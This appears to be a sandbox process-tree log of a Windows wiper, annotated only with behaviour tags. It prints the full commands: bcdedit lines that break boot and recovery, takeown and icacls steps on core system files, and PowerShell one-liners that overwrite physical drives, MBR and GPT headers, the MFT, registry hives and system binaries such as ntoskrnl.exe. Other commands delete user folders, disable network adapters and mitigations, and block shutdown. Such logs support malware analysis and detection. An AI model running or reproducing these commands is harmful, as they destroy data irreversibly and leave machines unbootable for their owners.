C:\Windows\system32\bcdedit.exebcdedit /set {current} advancedoptions No2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /deletevalue {current} recoverysequence2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /enum firmware | find "identifier"2⤵
-
C:\Windows\system32\bcdedit.exebcdedit /enum firmware3⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\find.exefind "identifier"3⤵
-
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {bootmgr} path \EFI\Microsoft\Boot\corrupted.efi2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {bootmgr} device partition=Z:2⤵
- Modifies boot configuration data using bcdedit
- Enumerates connected drives
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {fwbootmgr} bootsequence {00000000-0000-0000-0000-000000000000}2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /export "C:\Users\Admin\AppData\Local\Temp\bcd_backup"2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /createstore "C:\Users\Admin\AppData\Local\Temp\empty.bcd"2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /import "C:\Users\Admin\AppData\Local\Temp\empty.bcd" /clean2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\sfc.exe /a2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\sfc.exe /deny Everyone:(X)2⤵
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {current} bootstatuspolicy IgnoreAllFailures2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {bootmgr} displaybootmenu no2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /timeout 02⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {current} numproc 12⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {current} truncatememory 0x100000002⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /debug off2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {current} debug off2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /dbgsettings serial debugport:0 baudrate:115200 /noumex2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /deletevalue {current} debugtype2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /deletevalue {current} debugaddress2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /deletevalue {current} debugport2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /deletevalue {current} baudrate2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /ems off2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /deletevalue {current} emsport2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /deletevalue {current} emsbaudrate2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\kdcom.dll" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\kdstub.dll" /a2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\kdnet.dll" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\kdcom.dll" /grant Everyone:F /c /q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\kdstub.dll" /grant Everyone:F /c /q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\kdnet.dll" /grant Everyone:F /c /q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal" /f2⤵
- Impair Defenses: Safe Mode Boot
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network" /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Option" /v SafeBoot /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Configuration Manager" /v LastKnownGood /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Boot\BCD /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Boot\BCD /grant Everyone:F /c /q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwm.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\corrupted.exe" /f2⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\dwm.exe" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\dwmcore.dll" /a2⤵
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\dwmapi.dll" /a2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\dwm.exe" /grant Everyone:F /c /q2⤵
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\dwmcore.dll" /grant Everyone:F /c /q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\dwmapi.dll" /grant Everyone:F /c /q2⤵
- Modifies file permissions
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$files=@('C:\Windows\System32\dwm.exe','C:\Windows\System32\dwmcore.dll','C:\Windows\System32\dwmapi.dll'); foreach($f in $files){ if(Test-Path $f){ $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new($fs.Length); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } }"2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\sc.exesc stop UxSms2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config UxSms start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc delete UxSms2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "for($d=0;$d -lt (Get-Disk).Count;$d++){ try{ $fs=[System.IO.File]::OpenWrite('\\.\PhysicalDrive'+$d); $b=[byte[]]::new(512); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sys = (Get-Partition -DriveLetter $env:SystemDrive[0]).DiskNumber; for($d=0;$d -lt (Get-Disk).Count;$d++){ if($d -ne $sys){ $null = [System.IO.File]::OpenWrite('\\.\PhysicalDrive'+$d).Write([byte[]]::new(512),0,512) } }"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$dc=(Get-Disk).Count;[uint32]$am=0xC0000000;$rng=[System.Security.Cryptography.RNGCryptoServiceProvider]::new();Add-Type -Name 'D' -Namespace 'R' -MemberDefinition '[DllImport(\"kernel32.dll\")]public static extern IntPtr CreateFile(string n,uint a,uint m,IntPtr s,uint c,uint f,IntPtr t);[DllImport(\"kernel32.dll\")]public static extern bool WriteFile(IntPtr h,byte[] p,uint z,out uint w,IntPtr o);[DllImport(\"kernel32.dll\")]public static extern bool SetFilePointerEx(IntPtr h,long d,out long nd,uint m);[DllImport(\"kernel32.dll\")]public static extern bool CloseHandle(IntPtr h);';for($d=0;$d -lt $dc;$d++){$p=\"\\\\.\\PhysicalDrive$d\";$h=[R.D]::CreateFile($p,$am,0,[IntPtr]::Zero,3,0x80,[IntPtr]::Zero);if($h -ne [IntPtr]::MinusOne){$ds=(Get-Disk -Number $d).Size;$b=[byte[]]::new(10485760);[R.D]::WriteFile($h,$b,$b.Length,[ref]0,[IntPtr]::Zero);$rng.GetBytes($b);for($i=0;$i -lt $b.Length;$i++){$b[$i]=0xFF};[R.D]::WriteFile($h,$b,$b.Length,[ref]0,[IntPtr]::Zero);for($i=0;$i -lt $b.Length;$i++){$b[$i]=0xAA};[R.D]::WriteFile($h,$b,$b.Length,[ref]0,[IntPtr]::Zero);$np=0;[R.D]::SetFilePointerEx($h,$ds-1048576000,[ref]$np,0);$rng.GetBytes($b);[R.D]::WriteFile($h,$b,$b.Length,[ref]0,[IntPtr]::Zero);[R.D]::CloseHandle($h)|Out-Null}}"2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qdmhvsop\qdmhvsop.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA89F.tmp" "c:\Users\Admin\AppData\Local\Temp\qdmhvsop\CSC4AC068831B6B48388B658F331A194BEB.TMP"4⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "for($d=0;$d -lt (Get-Disk).Count;$d++){ try{ $size=(Get-Disk -Number $d).Size; $fs=[System.IO.File]::OpenWrite('\\.\PhysicalDrive'+$d); $rng=[System.Security.Cryptography.RNGCryptoServiceProvider]::new(); $primaryHeader=[byte[]]::new(512); $rng.GetBytes($primaryHeader); $backupHeader=[byte[]]::new(512); $rng.GetBytes($backupHeader); $fs.Seek(0,[System.IO.SeekOrigin]::Begin); $fs.Write($primaryHeader,0,512); $fs.Seek(512,[System.IO.SeekOrigin]::Begin); $fs.Write($primaryHeader,0,512); $fs.Seek($size-512,[System.IO.SeekOrigin]::Begin); $fs.Write($backupHeader,0,512); $fs.Close() } catch{} }"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "for($d=0;$d -lt (Get-Disk).Count;$d++){ try{ $size=(Get-Disk -Number $d).Size; $fs=[System.IO.File]::OpenWrite('\\.\PhysicalDrive'+$d); $b=[byte[]]::new(512); $b[510]=0x55; $b[511]=0xAA; for($i=446;$i -lt 510;$i++){ $b[$i]=0xFF }; $fs.Seek(0,[System.IO.SeekOrigin]::Begin); $fs.Write($b,0,512); $nulls=[byte[]]::new(54272); $fs.Seek($size-54272,[System.IO.SeekOrigin]::Begin); $fs.Write($nulls,0,$nulls.Length); $fs.Close() } catch{} }"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$vols=Get-Volume -FileSystem NTFS; foreach($v in $vols){ $drive=$v.DriveLetter+':'; fsutil fsinfo ntfsinfo $drive | Select-String 'Mft Mirror Start Lcn'; $mirrOffset = [int64]($matches[0] -replace '.*: 0x','0x') * [int64]((fsutil fsinfo ntfsinfo $drive | Select-String 'Bytes per Cluster').Line.Split(':')[1].Trim()); $fs=[System.IO.File]::OpenWrite('\\.\'+$drive); $fs.Seek($mirrOffset,0); $rng=New-Object System.Security.Cryptography.RNGCryptoServiceProvider; $buf=[byte[]]::new(65536); $rng.GetBytes($buf); $fs.Write($buf,0,$buf.Length); $fs.Close() }"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$vols=Get-Volume -FileSystem NTFS -ErrorAction SilentlyContinue; foreach($v in $vols){ $drive=$v.DriveLetter+':'; try{ $mftStart=(fsutil fsinfo ntfsinfo $drive 2>$null | Select-String 'Mft Start Lcn' -ErrorAction SilentlyContinue).Line -replace '.*: 0x','0x'; $mftMirrStart=(fsutil fsinfo ntfsinfo $drive 2>$null | Select-String 'Mft2 Start Lcn' -ErrorAction SilentlyContinue).Line -replace '.*: 0x','0x'; $bytesPerCluster=(fsutil fsinfo ntfsinfo $drive 2>$null | Select-String 'Bytes per Cluster' -ErrorAction SilentlyContinue).Line.Split(':')[1].Trim(); $mftOffset=[int64]$mftStart * [int64]$bytesPerCluster; $mftMirrOffset=[int64]$mftMirrStart * [int64]$bytesPerCluster; $fs=[System.IO.File]::OpenWrite('\\.\'+$drive); $buf=[byte[]]::new(131072); $rng=[System.Security.Cryptography.RNGCryptoServiceProvider]::new(); $rng.GetBytes($buf); $fs.Seek($mftOffset,[System.IO.SeekOrigin]::Begin); for($j=0;$j -lt 8;$j++){ $fs.Write($buf,0,$buf.Length) }; $rng.GetBytes($buf); $fs.Seek($mftMirrOffset,[System.IO.SeekOrigin]::Begin); for($j=0;$j -lt 8;$j++){ $fs.Write($buf,0,$buf.Length) }; $fs.Close(); fsutil dirty set $drive 2>$null } catch{} }"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$z=[byte[]]::new(65536); for($d=0;$d -lt (Get-Disk).Count;$d++){ try{ $p='\\.\PhysicalDrive'+$d; $f=[System.IO.File]::OpenWrite($p); for($i=0;$i -lt 1600;$i++){ $f.Write($z,0,$z.Length) }; $f.Close() } catch{} }"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\RuntimeBroker.exe" /a2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\psmsrv.dll" /a2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\RuntimeBroker.exe" /grant Everyone:F /c /q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\psmsrv.dll" /grant Everyone:F /c /q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$f='C:\Windows\System32\RuntimeBroker.exe'; $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new($fs.Length); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close()"2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\sc.exesc stop PimIndexMaintenanceSvc2⤵
-
-
C:\Windows\system32\sc.exesc stop UnistoreSvc2⤵
-
-
C:\Windows\system32\sc.exesc stop UserDataSvc2⤵
-
-
C:\Windows\system32\sc.exesc delete PimIndexMaintenanceSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete UnistoreSvc2⤵
-
-
C:\Windows\system32\sc.exesc delete UserDataSvc2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\ttdrecord.dll" /a2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\ttdwriter.dll" /a2⤵
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\ttdrecord.dll" /deny Everyone:(X)2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\ttdwriter.dll" /deny Everyone:(X)2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$disks=Get-PhysicalDisk | Where-Object BusType -eq 'NVMe'; foreach($d in $disks){ try{ $n='\\.\PhysicalDrive'+$d.DeviceId; $fs=[System.IO.File]::OpenWrite($n); $b=[byte[]]::new(4096); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Seek(8192,[System.IO.SeekOrigin]::Begin); for($j=0;$j -lt 64;$j++){ $fs.Write($b,0,$b.Length) }; $fs.Close() } catch{} }"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\drivers\dxgkrnl.sys" /a2⤵
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\drivers\dxgmms2.sys" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\d3d11.dll" /a2⤵
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\dcomp.dll" /a2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\drivers\dxgkrnl.sys" /grant Everyone:F /c /q2⤵
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\drivers\dxgmms2.sys" /grant Everyone:F /c /q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\d3d11.dll" /grant Everyone:F /c /q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\dcomp.dll" /grant Everyone:F /c /q2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$files=@('C:\Windows\System32\drivers\dxgkrnl.sys','C:\Windows\System32\drivers\dxgmms2.sys','C:\Windows\System32\d3d11.dll','C:\Windows\System32\dcomp.dll'); foreach($f in $files){ if(Test-Path $f){ $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new($fs.Length); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } }"2⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\sc.exesc stop KtmRm2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete KtmRm2⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-ChildItem 'C:\ProgramData\Microsoft\Windows\WER\ReportQueue' -Recurse -ErrorAction SilentlyContinue | Where-Object {:OpenWrite($_.FullName); $b=[byte[]]::new(1024); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$vols=Get-Volume -FileSystem NTFS -ErrorAction SilentlyContinue; foreach($v in $vols){ $drive=$v.DriveLetter+':'; try{ $fs=[System.IO.File]::OpenWrite('\\.\'+$drive); $b=[byte[]]::new(512); for($i=0;$i -lt 512;$i++){ $b[$i]=0xCC }; $fs.Seek(0,[System.IO.SeekOrigin]::Begin); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$f=[System.IO.File]::OpenWrite('C:\pagefile.sys'); $size=$f.Length; $rng=[System.Security.Cryptography.RNGCryptoServiceProvider]::new(); $buf=[byte[]]::new(65536); for($i=0;$i -lt [Math]::Min(10000,$size/65536);$i++){ $rng.GetBytes($buf); $f.Seek(Get-Random -Min 0 -Max ($size-65536),[System.IO.SeekOrigin]::Begin); $f.Write($buf,0,$buf.Length) }; $f.Close()"2⤵
-
-
C:\Windows\system32\fsutil.exefsutil behavior set disableencryption 12⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-Type -Name Window -Namespace Console -MemberDefinition '[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);';$hwnd=[Console.Window]::GetConsoleWindow();[Console.Window]::ShowWindow($hwnd,0)"2⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iu3tbzfs\iu3tbzfs.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD174.tmp" "c:\Users\Admin\AppData\Local\Temp\iu3tbzfs\CSC2CB03E1336DC48E691A43614E54070B7.TMP"4⤵
-
-
-
-
C:\Windows\System32\Wbem\WMIC.exewmic nic where "NetEnabled=true" call Disable2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\DriverStore" /r /d y2⤵
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\DriverStore" /grant "Admin:F" /t /c /q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\Inf" /r /d y2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\Inf" /grant "Admin:F" /t /c /q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\sc.exesc stop PlugPlay2⤵
-
-
C:\Windows\system32\sc.exesc config PlugPlay start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc delete PlugPlay2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy" /r /d y2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy" /grant Everyone:F /t /c /q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-ChildItem 'C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy' -Recurse -ErrorAction SilentlyContinue | Where-Object {:OpenWrite($_.FullName); $b=[byte[]]::new(1024); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"2⤵
-
-
C:\Windows\system32\timeout.exetimeout /t 402⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\cmd.execmd /c "del /f /s /q "C:\Users\Admin\Documents\*.*" >nul 2>&1 & rmdir /s /q "C:\Users\Admin\Documents""2⤵
-
-
C:\Windows\system32\cmd.execmd /c "del /f /s /q "C:\Users\Admin\Pictures\*.*" >nul 2>&1 & rmdir /s /q "C:\Users\Admin\Pictures""2⤵
-
-
C:\Windows\system32\cmd.execmd /c "del /f /s /q "C:\Users\Admin\Music\*.*" >nul 2>&1 & rmdir /s /q "C:\Users\Admin\Music""2⤵
-
-
C:\Windows\system32\cmd.execmd /c "del /f /s /q "C:\Users\Admin\Videos\*.*" >nul 2>&1 & rmdir /s /q "C:\Users\Admin\Videos""2⤵
-
-
C:\Windows\system32\cmd.execmd /c "del /f /s /q "C:\Users\Admin\Desktop\*.*" >nul 2>&1 & rmdir /s /q "C:\Users\Admin\Desktop""2⤵
-
-
C:\Windows\system32\cmd.execmd /c "del /f /s /q "C:\Users\Admin\Downloads\*.*" >nul 2>&1 & rmdir /s /q "C:\Users\Admin\Downloads""2⤵
-
-
C:\Windows\system32\cmd.execmd /c "del /f /s /q "C:\Users\Admin\OneDrive\*.*" >nul 2>&1 & rmdir /s /q "C:\Users\Admin\OneDrive""2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$drive=(New-Object -ComObject 'WMPlayer.OCX.7').cdromCollection; if($drive.Count -gt 0){ for($i=0;$i -lt 50;$i++){ $drive.Item(0).Eject(); Start-Sleep -Milliseconds 50; $drive.Item(0).Eject(); Start-Sleep -Milliseconds 50 } }"2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\powercfg.exepowercfg -setacvalueindex scheme_current sub_processor syscoolpm 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exepowercfg -setdcvalueindex scheme_current sub_processor syscoolpm 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exepowercfg /setactive scheme_current2⤵
- Power Settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\54533251-82be-4824-96c1-47b60b740d00\94D3A615-A899-4AC5-AE2B-E40910912795" /v Attributes /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "for($j=0;$j -lt [Environment]::ProcessorCount;$j++){ Start-Job -ScriptBlock { while($true){ $r=New-Object System.Random; $a=0; for($k=0;$k -lt 999999;$k++){ $a+=$r.NextDouble() * $r.Next() 79228162514264337593543950335 } } } }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v FeatureSettingsOverride /t REG_DWORD /d 3 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v FeatureSettingsOverrideMask /t REG_DWORD /d 3 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v FeatureSettingsOverride /t REG_DWORD /d 0xFFFFFFFF /f2⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu set MitigationOptions=02⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\ntdll.dll" /a2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\kernel32.dll" /a2⤵
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\hal.dll" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\ntoskrnl.exe" /a2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\ntdll.dll" /grant Everyone:F /c /q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\kernel32.dll" /grant Everyone:F /c /q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\hal.dll" /grant Everyone:F /c /q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\ntoskrnl.exe" /grant Everyone:F /c /q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$files=@('C:\Windows\System32\ntdll.dll','C:\Windows\System32\kernel32.dll','C:\Windows\System32\hal.dll','C:\Windows\System32\ntoskrnl.exe'); foreach($f in $files){ try{ $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new(4096); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Seek(512,[System.IO.SeekOrigin]::Begin); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"2⤵
- Drops file in System32 directory
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$hives=@('C:\Windows\System32\config\SOFTWARE','C:\Windows\System32\config\SYSTEM','C:\Windows\System32\config\SAM','C:\Windows\System32\config\SECURITY'); foreach($h in $hives){ try{ $fs=[System.IO.File]::OpenWrite($h); $b=[byte[]]::new(65536); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"2⤵
- Drops file in System32 directory
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\shutdown.exe" /a2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\shutdown.exe" /deny Everyone:(X)2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableCAD /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\winload.exe" /a2⤵
- Possible privilege escalation attempt
-
-
